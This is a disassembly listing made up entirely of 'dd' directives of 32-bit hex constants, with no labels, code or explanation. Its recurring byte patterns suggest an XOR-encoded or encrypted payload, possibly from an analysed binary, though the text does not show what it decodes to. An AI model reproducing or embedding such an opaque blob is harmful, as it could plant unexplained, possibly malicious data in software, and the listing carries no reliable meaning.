		dd 5BB13256h, 58D13256h, 0E107FCE9h, 20B13237h,	0EA493256h
		dd 7AE65256h, 0BAB132DEh, 0D9BE6C56h, 0AEB13254h, 57D0FDDDh
		dd 0ABA5DB56h, 9C323256h, 39EDD89h, 0BDED21D7h,	9DE93B9Bh
		dd 0CD71368Bh, 0AEB16DDDh, 523B3DA3h, 0CBB13256h, 0B446B930h
		dd 0E6583256h, 0FEB13256h, 1257CB12h, 66F58F2Dh, 0A1602DE7h
		dd 57B120D1h, 0AE585256h, 91B13256h, 21CDCD9Ah,	75B1BD59h
		dd 0BAD03256h, 493D3D56h, 47B13256h, 57B13259h,	52AA1560h
		dd 0BF510055h, 0B73504BFh, 75842094h, 0BAB6DB56h, 0D87F3256h
		dd 533DC9A5h, 0A2B132CEh, 0AB483256h, 0D5B7DB56h, 80CB3256h
		dd 0F6E632CDh, 43B132AFh, 5D493256h, 0AA373D56h, 37B13256h
		dd 0ABD05336h, 0D5BEDB56h, 0E9723256h, 0BD42B66Ah, 89A047DCh
		dd 0B3C28ACEh, 0AEB1CBB1h, 57B134BFh, 0EFA7C56h, 0D5E3C26Dh
		dd 0E3585256h, 1AB13256h, 0D53E90BBh, 0DAC4738h, 0A1B13237h
		dd 57B13AD9h, 0A9333D56h, 0B5B13256h, 0E5B13237h, 75B126D2h
		dd 34BE5256h, 5DB13256h, 0AEB134BEh, 4D7D4356h,	0F53E1ACAh
		dd 0B5B13237h, 16268C30h, 6713D9D7h, 0BAD00ED9h, 54595256h
		dd 2FB13256h, 0F8854596h, 7047A2C3h, 0DA596AA3h, 0E5B13256h
		dd 6A8924B0h, 54BCC388h, 6C0B734Fh, 11BE9CC9h, 57D06A8Dh
		dd 0ABBADB56h, 0E50B3256h, 5D4EFF58h, 0AD087B13h, 0B5B132B0h
		dd 5DB13EDBh, 0A83F3D56h, 58B13256h, 0ABB132DAh, 29B13256h
		dd 6DBE3256h, 75B1325Fh, 33BEC736h, 5DB13256h, 47B13237h
		dd 57B13244h, 55A9091Bh, 7E0D8536h, 36DA7992h, 7014A784h
		dd 0BA49E5C1h, 5DB1CB56h, 0AEB1CBAAh, 57BDBD59h, 24BE3256h
		dd 0D5B13250h, 0EAB1B559h, 75B13256h, 0DAB132AAh, 5DB13EBEh
		dd 0E16756h, 694E4C79h,	46B75D81h, 0D53E3D85h, 0B2B13256h
		dd 0A179B330h, 0BAB1537Ch, 5DB135BFh, 0D3C4FC56h, 3B6089A3h
		dd 0AB4D3256h, 0D5B1CB56h, 0EABBB759h, 70583256h, 0C9B13256h
		dd 1C7DF420h, 0AE4D3256h, 57BEDB56h, 6CA93256h,	2780A549h
		dd 4A89B3BAh, 833CAC1Eh, 0DAB13268h, 52B68D30h,	0AEB122BEh
		dd 0C47D8A56h, 173ECB59h, 97293F95h, 0DE1C7BA7h, 75B7DADBh
		dd 5F5F3256h, 524C9F1Eh, 0AED0690Ch, 57B1CA56h,	10D75236h
		dd 0B4D19408h, 0EABBDB37h, 69DB3256h, 0AE36E43Fh, 610BC8DEh
		dd 0AEBADB37h, 121F3256h, 0DB89835Ch, 0D3C2E251h, 12B1327Fh
		dd 75443256h, 0B6383D56h, 52B13256h, 0AEB134D7h, 57373D56h
		dd 52B13256h, 54D75236h, 39B7E9Dh, 75B1325Eh, 6F2E0CA1h
		dd 0C24E177Fh, 0AEB1DA37h, 0D6EB3256h, 7C690ABCh, 2C44CB51h
		dd 51EEB7DBh, 0F4BE3580h, 0BAB13257h, 0E7D152A3h, 8C0CA71Dh
		dd 58078A30h, 0CA4BB937h, 6B7AB0DFh, 6BD13581h,	4918F7B0h
		dd 37D0CA5Dh, 84A999D4h, 2C38CE51h, 50668CA6h, 0ABB138BFh
		dd 43D08356h, 0B4BA7231h, 9D53C021h, 0BAB104F7h, 5FD1DAA3h
		dd 0C8D13256h, 0DC6457E9h, 297653AEh, 0D2668C17h, 0EAB13256h
		dd 665860A3h, 0C6B13256h, 0BEC45E2Eh, 0EDE8CBF7h, 0F4903D7Dh
		dd 140804C2h, 5077197Dh, 0ED6003E3h, 27D9C700h,	0B52D9AEEh
		dd 5DB133DFh, 0BC58CE56h, 82B13256h, 11CAFDA9h,	0F54C1605h
		dd 632BA843h, 4034322Fh, 8B04CDCFh, 52B6E35Eh, 0AEB13ED7h
		dd 57B6DB56h, 62403256h, 3EE8E328h, 34BFFEh, 9CB6E6F0h
		dd 0BAB1325Ah, 4D1386DDh, 5F47841Ch, 19C75983h,	0ABB0B259h
		dd 2A483256h, 0EAA2DB86h, 23263256h, 817F22F0h,	11E23095h
		dd 86B02CC4h, 0D97A70ECh, 0ABBDDBB2h, 0E5E63256h, 0CC687273h
		dd 0C082AE25h, 3F38777Fh, 5A601393h, 0F7E15236h, 0DCD75237h
		dd 0CA3287A8h, 0DAB55837h, 0EAB117DDh, 72585256h, 91B13256h
		dd 49EA3FDAh, 0BC584BAAh, 0EEB13256h, 16AE1F02h, 0CC1B5AD6h
		dd 0FB27A153h, 0B5E67538h, 0BAD953BBh, 52B13246h, 0AEB13FD2h
		dd 57B9DB56h, 0E6073256h, 227133D0h, 0AAD91353h, 7AB1315Bh
		dd 0BAB135D4h, 5C313D56h, 56B13256h, 0D2BE323Ch, 0ABB13240h
		dd 816BB236h, 0EAB139BEh, 25D13356h, 59170955h,	0A5ADF91Eh
		dd 7E4E5309h, 5C4868A3h, 4D353D96h, 3CB13256h, 0EAB13258h
		dd 66D5F31Eh, 0DCD175E7h, 99F16835h, 2C381598h,	50668C17h
		dd 0ABBFB259h, 0DC583256h, 98B13256h, 0B2ECE114h, 0F32978DCh
		dd 0E3D5B0DFh, 0C8D13581h, 368EAAE8h, 0A8BC72EFh, 0D5B4DB56h
		dd 3E4C3256h, 0FED35D85h, 623152AEh, 9D8253E9h,	0AEB0B959h
		dd 0A4493256h, 693152FCh, 3631527Fh, 8BEE62CEh,	1F486037h
		dd 0BC323D52h, 3DB13256h, 0CFD16D05h, 47B15A37h, 21BE3256h
		dd 0D5B1325Eh, 0EAB3B759h, 14D13256h, 0BAB5323Eh, 5DDBCB56h
		dd 10928B36h, 9C007CA8h, 0ABBEDB37h, 4D6A3256h,	2DA92886h
		dd 8780A549h, 1A89B3BAh, 9823CD1Eh, 47B6E377h, 57B1325Ch
		dd 0A9C775C1h, 5DA1221Eh, 0E5EB9250h, 75B13ED4h, 0BC373D56h
		dd 52B13256h, 0AEB132D3h, 0F433BB56h, 42B6E597h, 0D5B13253h
		dd 0A8F84E13h, 13D153AEh, 0ECE0F5DDh, 0D6D06908h, 790F73D3h
		dd 0D9BE5251h, 0ABB13245h, 0D5B13CBFh, 0F55AB56h, 7FEA0950h
		dd 60F4CC21h, 3CBCB497h, 0CED1CE95h, 0E8058336h, 0BCEF7FA5h
		dd 32305437h, 2DD08BD0h, 0A4A753D4h, 0FAB13251h, 3DD1CB56h
		dd 0F7E35336h, 3643B937h, 0BCD0B091h, 0C5B13587h, 8B483256h
		dd 75B5B259h, 0EAD13256h, 0DCD15308h, 3942B9A1h, 58725301h
		dd 0ABB122D1h, 0DF323D56h, 3B13256h, 75B13253h,	623869C6h
		dd 0A8495200h, 10F088DDh, 50583581h, 0A0B13256h, 84CF7B66h
		dd 0D532C979h, 0A5353D56h, 46B13256h, 5FA14DD5h, 0AE8DB659h
		dd 0DDD13256h, 503A5491h, 0C5CEB137h, 80353D52h, 8DB13256h
		dd 0AE76B1A3h, 0DCD7CB36h, 0CF175FA5h, 0A84EFBBFh, 0ABA5DBA9h
		dd 0A6D63256h, 0E84AEB59h, 3AEF210Dh, 764BB0E4h, 0E2A72503h
		dd 0E976DF78h, 57B13346h, 0ABA0DB56h, 85A3256h,	0A0366E36h
		dd 0DFCA6D45h, 8412F1FCh, 0B498C145h, 514ECDE3h, 57B123BFh
		dd 0E04C6356h, 93CB1734h, 2578827Fh, 5BCE7773h,	37BE61FBh
		dd 5DB13257h, 0BEF6F5AAh, 57B13255h, 0ABB134BFh, 335BFC56h
		dd 0E5BED68Dh, 75B128DBh
		dd 0AE393D56h, 0B4B13256h, 0AEB13259h, 2F1639Fh, 526D1AF5h
		dd 0A97E98D8h, 310CCEDh, 8A4ECD37h, 0BABDBF59h,	0D8BE3256h
		dd 0AEB13250h, 57B1BE59h, 0CA443256h, 0D5BDBA59h, 8CD13256h
		dd 2C27F5D7h, 0AC7EB330h, 0D3BE5399h, 0AEB13243h, 57BEBC59h
		dd 0A1583256h, 8BB13256h, 84BDDAAFh, 3E41F882h,	35BEF1C1h
		dd 5DB1325Dh, 0AEB134BFh, 52C4F456h, 0FE909271h, 0D90A5436h
		dd 810854B2h, 0F3BE53E4h, 0BAB13259h, 5DB138BFh, 8CBB6E56h
		dd 46BEA911h, 2016BED3h, 3CD1CEBAh, 0EAB13246h,	5DE24C6Dh
		dd 874B6F7Ah, 49BBD4ADh, 8B4136DBh, 57B132BEh, 41306856h
		dd 0D266EEEDh, 0EAB135BFh, 942FE656h, 6FA98A81h, 0BB03B9AFh
		dd 0A1B6E597h, 57B133DAh, 0EE3ACB56h, 50BECE5Eh, 0EAB13250h
		dd 63085436h, 0BC3853C9h, 5DB9DB36h, 0A5913256h, 0CFFA9128h
		dd 1CBE7336h, 573253AEh, 0ED66F3B0h, 82305252h,	83601290h
		dd 55DE8C30h, 0C8D15337h, 4105F0D7h, 0ABB134BFh, 0BB6B6256h
		dd 8B98A86Ch, 75A2DB9Fh, 0FFAF3256h, 0C957CFECh, 69085C7Dh
		dd 7462DA30h, 8E19928Eh, 0D5B5F09Eh, 67BE52AAh,	75B1325Eh
		dd 0B66BB336h, 3CD58CC8h, 0AEB13FBFh, 91440456h, 0E00C3257h
		dd 128B7FF4h, 0EA593F47h, 2FB13256h, 67D8D8D7h,	50583581h
		dd 0D9B13256h, 3FA7241Ah, 0F5DCB886h, 1694F737h, 0EAB13EBFh
		dd 0D3121956h, 0F087C50Dh, 82EE65AAh, 0D03B973h, 0BEB6E597h
		dd 0ABB1325Dh, 8A3F6692h, 0C1223A9Ah, 4EEB9FE9h, 6D70D4E4h
		dd 0C0353D51h, 0CEB13257h, 8C69B330h, 0B2095477h, 0EB3A5386h
		dd 6042B936h, 0AA3A53B0h, 0BAB126BFh, 31110E56h, 1C97542Bh
		dd 0F537545h, 751F2300h, 34AFF64h, 0A5073DA7h, 75A3DB57h
		dd 6BCD3256h, 20191AF9h, 5D70C31Ch, 135F8CA1h, 0B3AFF964h
		dd 55B075A0h, 0EA8EB759h, 0FEBE3256h, 0BAB1325Eh, 5DB3B059h
		dd 0CFD13256h, 58D1EB55h, 11D7EDE9h, 0B5D00050h, 6BD745E3h
		dd 14CFEEA0h, 0BAB12DBFh, 533D3D56h, 47B13256h,	57B1325Fh
		dd 0A7EDC587h, 0AFA0AF4h, 63B5227h, 8D681937h, 0DB68B936h
		dd 0CA055215h, 0AEB120BEh, 98ACC856h, 0C46A8D7Fh, 0F8E96DECh
		dd 92CB5D4Dh, 7A1B5C1Ch, 0BAB132D0h, 1ED06C56h,	0AEBCDB36h
		dd 0B9853256h, 891B7174h, 0CD70C6F1h, 6A5EFE82h, 0FED0C8A0h
		dd 6BAD63D3h, 5DA1DB51h, 63A13256h, 5E3B96B7h, 7C49C9E9h
		dd 0B5F1642Fh, 673A1FCFh, 72601627h, 0BA363D36h, 0A1B13256h
		dd 0AEBADB37h, 0E7173256h, 0D4C452DAh, 0B2A988C8h, 0E56909F4h
		dd 75B10AD4h, 638ACE56h, 5D9EB559h, 0CE4D3256h,	290F54AAh
		dd 6D3253ABh, 0D5A2DB52h, 719D3256h, 22502CA4h,	72BF77BCh
		dd 1EC3409h, 0BE252784h, 0A91CDB1Ah, 27BECDA9h,	0D5B13257h
		dd 0E57E09A3h, 75B175D2h, 0BB3A3D56h, 0A8B13256h, 8AC08FDFh
		dd 0BFD13587h, 0ABB13258h, 6A57244Ah, 2C24EFA8h, 0AB0E34F7h
		dd 0E148A2C7h, 3C66B930h, 0AEB0B259h, 0BE443256h, 544ECC03h
		dd 0D5B13DBFh, 7F6A0F56h, 27830762h, 53006F7Bh,	0D7037535h
		dd 14D75237h, 5E58E2FEh, 34B13256h, 0E0F1C34Dh,	0E980C4A0h
		dd 23D1F137h, 0BAB13BBEh, 466E6756h, 0CF8D3C67h, 0DEB4E6Dh
		dd 0CA50F3D6h, 0D559CA36h, 0B0B13256h, 0AA34D8D7h, 0BC583581h
		dd 7CB13256h, 16B7626Bh, 563A3D77h, 52B13256h, 141288DDh
		dd 0EC583581h, 1FB13256h, 0A3870616h, 5CB18B2Fh, 0BE583256h
		dd 0C2B13256h, 92463B2h, 16777571h, 92F7D909h, 46DF2250h
		dd 0B5D05296h, 5DB135DEh, 0AF3F3D56h, 0ABB13256h, 2BD199A5h
		dd 54D76981h, 8B06E5B0h, 0B412B0DDh, 37BE3581h,	5DB13257h
		dd 4833BBAFh, 37B6E597h, 0ABB13FBEh, 2008EE56h,	0E269C989h
		dd 0A0C81659h, 0AE599AF5h, 1EB13256h, 26674237h, 0D9A004CAh
		dd 0D5D0BB44h, 984B46Fh, 0B381E722h, 0FC69B308h, 0DB92E5FFh
		dd 453D3D37h, 47B13256h, 57B13245h, 5576B303h, 7FCC7A43h
		dd 0F34B830Ah, 0AA480DA3h, 79F69789h, 370E5436h, 0EA54B208h
		dd 0BED1CE37h, 0ABB13246h, 73D3602Fh, 0EC361AB2h, 154B9CE3h
		dd 0B9471C5h, 5DB132BEh, 44306856h, 5066D225h, 0ABA2DA36h
		dd 0ED8E3256h, 3A6A8028h, 5E5EA9B1h, 5D8C7C6Dh,	0D9BD6CE8h
		dd 0F4EF6215h, 0CB6598ECh, 0BB585378h, 0D0B13256h, 0B86DD9DBh
		dd 18EAD6F1h, 0DB108973h, 9B864BF0h, 7F8087D3h,	0BED16451h
		dd 0ABB13259h, 63B37EB5h, 90B52DE8h, 1B3C3459h,	53E2B5BDh
		dd 5DB13259h, 0E6FB68DBh, 23D42FFEh, 0D5EBEBAAh, 0B4916A2Ah
		dd 0F5DC0B3Eh, 72383D82h, 0B5B13256h, 5DB133D9h, 1B4ECE56h
		dd 50603A67h, 4134BFAEh, 0DAB6E6F0h, 0EAB136DDh, 0B4005256h
		dd 0DA61CD37h, 5DB4BE59h, 2FD73256h, 314ABFB7h,	0CA2CD5ECh
		dd 0C6393D04h, 3B13256h, 75B13258h, 0A8B1420Dh,	11B9AD2Dh
		dd 0ADDAB67h, 0D0BEDA21h, 0ABB13250h, 75095436h, 16E1532Dh
		dd 7531323Eh, 0BADBCB56h, 5DB8B159h, 0CED13256h, 0A2FA8D37h
		dd 54D07AFCh, 20F73E4h,	3A4ECA51h, 2F446AAAh, 3AB15AAFh
		dd 37483256h, 0B63F3D56h, 0BEB13256h, 0ABB13245h, 0BBBDDAAFh
		dd 0A141F882h, 433FFFC1h, 0A34EFD95h, 0A1485756h, 6F1280A9h
		dd 6D13581h, 0ABB120BFh, 155BEA56h, 7F2BECD0h, 0F4CC1B0Bh
		dd 925AEB09h, 4FAC322h,	0AEB2B959h, 0E8BE3256h,	2FBE538Ch
		dd 0D5B1325Ah, 0EAB7BF59h, 0F2BE3256h, 0BAB13256h, 5B58E2A9h
		dd 0D2B13256h, 8A8276A3h, 0A25853EEh, 0A9B13256h, 1F2ABC8h
		dd 483D89ACh, 0DAE4CE95h, 0E96CF4EEh, 7F30540Ah, 0BED0AE30h
		dd 0ABB13251h, 0B22236F0h, 61F090A1h, 7F373DBAh, 0DAB13256h
		dd 0AA306C07h, 0F49BE0CFh, 0BFD15237h, 0ABB13250h, 0BEA59A2Fh
		dd 0E459DFC1h, 0CEB13256h, 0CABF8F83h, 7BA13CCBh, 991EDE2h
		dd 31E86DD4h, 0CA64B4EFh, 0D5B132BEh, 306856h, 7266D015h
		dd 0BABAB159h, 5B583256h, 46B13256h, 3D9BBA32h,	20BE52BDh
		dd 0D5B13255h, 0E5DCC6D6h, 75B125D8h, 0BAA3DB56h, 51893256h
		dd 64FC0008h, 979DEF29h, 967577FEh, 648D8C03h, 0E2C4B937h
		dd 4C4D8B36h, 0B45816C6h, 0E9B13256h, 0D6C1B1CEh, 0B06FAFD6h
		dd 6370F69Fh, 115953EEh, 13B13258h, 7D303D03h, 0B5B13256h
		dd 5DB130D1h, 51D05256h, 800FF9C4h, 5EECCE51h, 0DABD476Dh
		dd 154EEBD3h, 743C3DA9h, 46B13256h, 5DBFA4BEh, 0A6383D56h
		dd 58B13256h, 0ABB130D2h, 0B5D05256h, 4BA58B30h, 4048D1EDh
		dd 0DAD05376h, 5DB13DBEh, 15CDFD56h, 0AD7F93A8h, 0C0ECBDD6h
		dd 27A1C8E8h, 0EAB8DB0Ch, 0EEB3256h, 8D3D4751h,	3C6A302Dh
		dd 0AEA0DB9Fh, 2F303256h, 1D56F76Dh, 62C3E15Fh,	78B2AB88h
		dd 0B7C2884Dh, 32BE325Eh, 5DB13250h, 19BECA36h,	0A2E45386h
		dd 0CDD1DEDDh, 84A723E8h, 8740B330h, 0F6D0698Eh, 0AE58CE92h
		dd 95B13256h, 6AC86760h, 959C7B27h, 0BD1C3114h,	1966E723h
		dd 0BCEF6C56h, 264865AFh, 0BAB138BFh, 0CC972556h, 0EDF443DEh
		dd 0BFA9BCA1h, 0ABB13256h, 0AB5BB30Ch, 8AB6E5B5h, 75A5DAAAh
		dd 0ED363256h, 68E80156h, 4E508393h, 70E23955h,	0E9765778h
		dd 54D7F0C0h, 0B5996389h, 224D5237h, 0DBEB5336h, 55C4B9AFh
		dd 19075236h, 57B1BF59h, 20D03256h, 0A83A5387h,	0FE585246h
		dd 0CDB13256h, 65BEFBA6h, 0DDA68D43h, 0EC1C2594h, 0C89340A2h
		dd 2A224AFFh, 69D27BA4h, 8AE65370h, 156EB930h, 0DA698D59h
		dd 0BD05337h, 2D59CEAFh, 0BEB13257h, 0ABB13259h, 0A92915FBh
		dd 1961B504h, 973BDD02h
		dd 0B1A0616Bh, 0E3353D96h, 47B13256h, 57B13258h, 0A07E3D6Fh
		dd 56FE2779h, 58F83E4Fh, 8D3AF11Ah, 0BAB138BFh,	307A8556h
		dd 0D57ECD83h, 379561ECh, 0ABB2B259h, 62BE3256h, 51D7529Dh
		dd 14491DF5h, 45486737h, 8A0FF9C4h, 0AF3A3D51h,	0ABB13256h
		dd 0ABB6DB0Bh, 0A3E83256h, 0AEDB6F0Ah, 79C409A8h, 0BAD2B659h
		dd 0CD13256h, 16D769AAh, 31D03ABFh, 0CBD12CDDh,	28178A30h
		dd 777BB330h, 0F5D0533Fh, 3049C2B1h, 923A5248h,	0AEB2B159h
		dd 0E8BE3256h, 2B485380h, 3D49C2B5h, 0EAB11486h, 75B122BFh
		dd 0D0830F56h, 7AD56755h, 7FAA8D3Fh, 1A47C89Ah,	5495DB10h
		dd 0DB58CDA9h, 1AB13256h, 2553FD26h, 186D69C3h,	4684BDBEh
		dd 52CCBB81h, 57B126BFh, 7B469756h, 580D7395h, 9E196BEAh
		dd 0C99DAB27h, 7A4F4A18h, 0ABEADA1Ch, 0A158CDA9h, 93B13256h
		dd 4B7BD62Eh, 4AE5D104h, 53A7ABFDh, 7AEAF309h, 0BAB13ADDh
		dd 3CD15256h, 0F0808A30h, 5D586D37h, 0D0B13256h, 0BA0CCEEEh
		dd 1988B7FAh, 0AD3A5239h, 0E4D0D8E7h, 0A1F4B9AFh, 0AEB126BFh
		dd 0CEF9E356h, 0FCC99F93h, 7583F17Dh, 85651B14h, 52E36E8Bh
		dd 3ABEFB61h, 5DB1325Bh, 0AEB13ABFh, 1D23056h, 977B4AACh
		dd 0DD343DCBh, 8AB13256h, 0F568B930h, 78D034A0h, 3D48325Ah
		dd 0CEE86336h, 0E8BE5337h, 52E453A1h, 0B55DB9AAh, 7C69B330h
		dd 0AD063D85h, 4275B137h, 5C373DAAh, 57B13256h,	0AFE7CE01h
		dd 0B3343D07h, 3CB13256h, 0EAB13245h, 99FC261Ch, 5D78AA9Ch
		dd 0BED339Ch, 0A5D2BF5Bh, 49893A5h, 53F4F5AEh, 0D5B13256h
		dd 7733F5AFh, 74B6E596h, 53B13256h, 5DB1325Fh, 4336E733h
		dd 0DA9DCADCh, 0A33E3DFAh, 0B5B13256h, 0E543B930h, 0FED0CCE9h
		dd 30BE3A23h, 5DB13244h, 0AEBDB159h, 50583256h,	16B13256h
		dd 0FA887B93h, 0E5D1D2C5h, 0B23BC3E1h, 0A43A5437h, 5DBDDB36h
		dd 468D3256h, 0BC73FE0Fh, 33173C6Dh, 54BE32E3h,	0EAB13255h
		dd 1448B930h, 4F088DDh,	4D583581h, 4FB13256h, 8F6DCB7Ch
		dd 0C922A365h, 68964ACBh, 613C490Eh, 73583A09h,	2B13256h
		dd 0C6F3D854h, 0A16A39EEh, 57B147D2h, 0A03C3D56h, 0B5B13256h
		dd 0E567B930h, 75B132D0h, 648A5356h, 5D84B759h,	0A9583256h
		dd 34B13256h, 0CD5236A0h, 883A7AEAh, 0E13A3D5Ah, 15B13256h
		dd 0B569B930h, 5DB132D8h, 0F1385356h, 5D58525Ah, 8AB13256h
		dd 0AF02CF1Fh, 0C5BC0A92h, 0F6D0C7B1h, 0DCD12691h, 0B46B25EFh
		dd 0AEB13253h, 6CFB0D26h, 2F5853D9h, 3C4ECDA9h,	0EAB1325Ch
		dd 36A12356h, 8DDED86h,	0D6D73567h, 2ED05248h, 0D3BEDAADh
		dd 0ABB131F6h, 0D5A6B159h, 0F8583256h, 30B13256h, 2E1D42A1h
		dd 0B0AF747Fh, 0E592060Dh, 0F8411C4Eh, 424AB247h, 0D6CBB659h
		dd 0FE583256h, 2DB13256h, 0EFA6082Bh, 7D280F76h, 67883987h
		dd 1DDED9E0h, 0CB45731Dh, 0D5B9DB36h, 2FF23256h, 1B6DF5E9h
		dd 6E0BABF2h, 3CCC4B38h, 7C18A30h, 0BC4AB237h, 0A88FB659h
		dd 3C4D3256h, 0EAB13259h, 6C8C9225h, 46042E20h,	6AACC0DEh
		dd 2E9D0D54h, 0D3BED0ADh, 0ABB13144h, 0D5BCDBAEh, 90203256h
		dd 0C368425Ch, 3A8953ADh, 0DDC5D40Bh, 2ABED1ADh, 57B13095h
		dd 0ABBEB559h, 0DF583256h, 0FB13256h, 36E0788Bh, 50DD65B5h
		dd 0A630545Ah, 2ABED131h, 57B13080h, 5B56B2AEh,	2E3054AFh
		dd 6EBEB259h, 75B13082h, 0BAB138BFh, 0B092A456h, 9D8D1258h
		dd 0D7DCD783h, 0A258C2B5h, 19B13256h, 0F2464FF9h, 13DD66Ch
		dd 0BAA6B259h, 4F583256h, 3EB13256h, 2AFC0548h,	8616F30Bh
		dd 1581BE36h, 0E93BF45Ah, 54AB263h, 0B83FB659h,	0D8BE3256h
		dd 0AEB13257h, 493A54AEh, 513A5236h, 0D5B1B559h, 8AD03256h
		dd 68F8A30h, 0BAB1B459h, 3CD03256h, 0A149D1D6h,	57B133D2h
		dd 5031CA56h, 0EA353DEEh, 3B13257h, 75B13258h, 3889712Eh
		dd 0B013196Eh, 0CCE53AA1h, 6931C21Eh, 88353D53h, 3CB13257h
		dd 0EAB13258h, 170450ADh, 27B5AA49h, 0A02DD7ECh, 9031E2BEh
		dd 50353D7Bh, 0A4B13257h, 0D5B126D9h, 0E0585256h, 47B13256h
		dd 19A5DA4h, 7C25B629h,	643A546Ch, 3F8FB237h, 0AB55B659h
		dd 2CD13256h, 0B21AF8D7h, 8AD050C9h, 6D71AFD4h,	0D6D7CA51h
		dd 2ED1CA48h, 0E0BEC286h, 4C315386h, 54D7CAAEh,	0E559B3ADh
		dd 75B18BD2h, 0BABDDB56h, 90063256h, 640A178h, 0C9D17D0Ah
		dd 20D79083h, 0C158CE48h, 0CB13256h, 818AAB30h,	0BB1CF6E3h
		dd 0C39E7C8Bh, 88FB927Ch, 0D7018EB8h, 2EBEC2B1h, 0D5B1325Ah
		dd 0EAB7B459h, 0F2BE3256h, 0BAB13256h, 0DC4AB330h, 0C5353D96h
		dd 58B13256h, 0ABB133D7h, 0DAD1CB56h, 0EAB133D7h, 7AE4CE56h
		dd 0BAB13EDFh, 5B3D3D56h, 0A1B13256h, 57B132D0h, 6023CD56h
		dd 3CB6E5E8h, 0EAB1325Ch, 9197723Ah, 0DBCFEBFEh, 0B4EC43B3h
		dd 0AEB13247h, 5284AB4Eh, 5A5344B1h, 3F6D91BFh,	3AD0918Ah
		dd 89F4BB5Bh, 0BAB0BD59h, 3C443256h, 0AEB0B159h, 0D4493256h
		dd 0A4B0CE2Bh, 0D5B323D3h, 503ACE56h, 72602437h, 0BAB134BFh
		dd 0E83956h, 0A1441B93h, 57B126D4h, 0A53D3D56h,	3CB13256h
		dd 0EAB1325Fh, 7BE14795h, 5CF7737Bh, 0ED162F9h,	11BE630Fh
		dd 0DCD06BAFh, 7C71AFD4h, 0D5BBDB51h, 221C3256h, 951B7BE2h
		dd 0CE364424h, 3D810E6Fh, 76AB330h, 5D333DB8h, 42B13256h
		dd 0D5B13253h, 425B4273h, 7AE953F9h, 0BAB097D4h, 5DB7DB56h
		dd 97CF3256h, 236D07D0h, 0CA0BB9AAh, 2DB6E341h,	0E63E3D06h
		dd 7AB13256h, 0BAB134DDh, 5D3A3D56h, 25B13256h,	8071AFD4h
		dd 62305251h, 0CDF7E1D5h, 8B6EB930h, 80810E6Fh,	0D93E3D0Eh
		dd 0A4B13257h, 0AEB13DBFh, 2057EC56h, 0B630795Ch, 5E18B252h
		dd 0A5922A10h, 75B161BFh, 0B6313D56h, 52B13256h, 0AEB134D6h
		dd 573A3D56h, 6CB13256h, 0D5B3CA13h, 0E5583256h, 0E9B13256h
		dd 0C115F20Eh, 8744402Fh, 7F3466C7h, 765858A0h,	42B13256h
		dd 0D5B13258h, 0A0DED9E0h, 3E45731Dh, 0BDD19C6Dh, 1876D916h
		dd 0AEB133AEh, 56343D56h, 53B13256h, 6BF088DDh,	62BE3581h
		dd 75B13259h, 0BAB138BFh, 0B3F68D56h, 7683C5h, 0DCD51D22h
		dd 533A5249h, 2CD0ABE2h, 6EBEE95Dh, 75B1329Ch, 0BAB0BF59h
		dd 66483256h, 0C8343D88h, 0BEB13256h, 0ABB13245h, 0EFEF761Ch
		dd 890518BCh, 0AAB59036h, 0A40444A6h, 0D6352794h, 0A4583E0Bh
		dd 55B13256h, 0F4020263h, 620FAC0Dh, 9732CB6Ch,	0F1BE32AEh
		dd 0BAB13272h, 5DB138BFh, 6955256h, 2AF2994Fh, 0A825A2F5h
		dd 0B5D1CA0Bh, 7768B330h, 14448597h, 0BAB0B059h, 3C493256h
		dd 0CEB56DDFh, 9556B330h, 790E3D14h, 0C176B137h, 15C0DBAAh
		dd 7C58CDA9h, 0D4B13256h, 9ACD29AAh, 8922F6E5h,	4D085436h
		dd 0CA5E803Bh, 0DA58F265h, 55B13256h, 0E4516DC4h, 502D4E74h
		dd 0E651DB4Ah, 6758D884h, 0BEB13252h, 0ABB13259h, 452E6195h
		dd 86C63A46h, 0BE72E05Ch, 0B575C51Fh, 5DB133D2h, 25D7CA56h
		dd 56383D48h, 52B13256h, 20BD4FDDh, 0E55AC9D6h,	75B11FD2h
		dd 0BAB9DB56h, 2BA23256h, 606B02F0h, 0B4313ECBh, 5031CBA6h
		dd 0AC353D26h, 13B13256h, 75B000BFh, 0BAB6DB56h, 26053256h
		dd 83BA77BFh, 5077CA6Ah, 29BE52BFh, 0D5B13250h,	0C0E3D1D7h
		dd 0B2D07BD6h, 0BAB13311h, 0D6443256h, 0AEB6DB91h, 6EC43256h
		dd 0A0CF91D5h, 0D071B15Ah, 0EAB0BF59h, 9C4D3256h, 0BAB13662h
		dd 5DA4B159h, 0BE583256h, 0C9B13256h, 51DC9CA8h, 68DFD5FBh
		dd 885292CFh, 9C6F481Bh
		dd 0BAB13246h, 0DDECD03Ch, 89DF839Eh, 1DCFB255h, 3D2571E2h
		dd 0DAB6F530h, 67BE525Eh, 75B13252h, 0B4AE8B30h, 5DB123BFh
		dd 56098556h, 0E135A33Ch, 0FBB242Eh, 0EE248253h, 60D00556h
		dd 75B4DB48h, 55833256h, 0DD02FE8Eh, 0A9583DB5h, 7EB13256h
		dd 205EC932h, 1E31408Ah, 0E45852D6h, 0AAB13256h, 0E74DEA29h
		dd 0A23CE31Ch, 0E0A5EF21h, 1156B256h, 0F439CA37h, 54D75257h
		dd 8B5ABBA7h, 75B6B059h, 37BE3256h, 5DB13257h, 0ACF6F5AFh
		dd 57B13256h, 0ABB121BFh, 2B37D256h, 39023690h,	503F888Ah
		dd 0D0091B08h, 0EAB1F87h, 28BEF5DDh, 57B13257h,	0AD71B1AFh
		dd 4B7E8C36h, 353A0B95h, 76E7DB37h, 0B6583256h,	0FFB13256h
		dd 3288F657h, 0A5EAB1A7h, 0CDBC9C88h, 45210CD7h, 0EA8FB659h
		dd 0FABE3256h, 0BAB1325Ch, 5DB137BFh, 0BB6A8F56h, 6931E135h
		dd 9F343DC6h, 20B13256h, 943054AFh, 7A21A2A9h, 0BAB125D2h
		dd 3BE75256h, 47E9E3DDh, 57B13253h, 67774425h, 0C5585317h
		dd 12B13256h, 9C44F5DDh, 0BAB130A2h, 5DB0B359h,	23493256h
		dd 807332D4h, 0ABBDDB51h, 21AD3256h, 0C575CDF2h, 6CE464E2h
		dd 0B5E1B988h, 5DB124D8h, 0AEA0DB56h, 0CAD43256h, 0ACCBFE07h
		dd 7FBBC6CCh, 254BE5F5h, 230EFC1Ah, 0BAB9BF59h,	3BD13256h
		dd 25D7F9DDh, 0C54E53A6h, 0AC668CA6h, 0D5B121BFh, 28A4EA56h
		dd 0F280004Ch, 9B43969Fh, 966C1EFEh, 7D5D505h, 0D3BEF25Dh
		dd 0ABB1326Eh, 0DF3F3D36h, 3B13256h, 75B13253h,	464739EEh
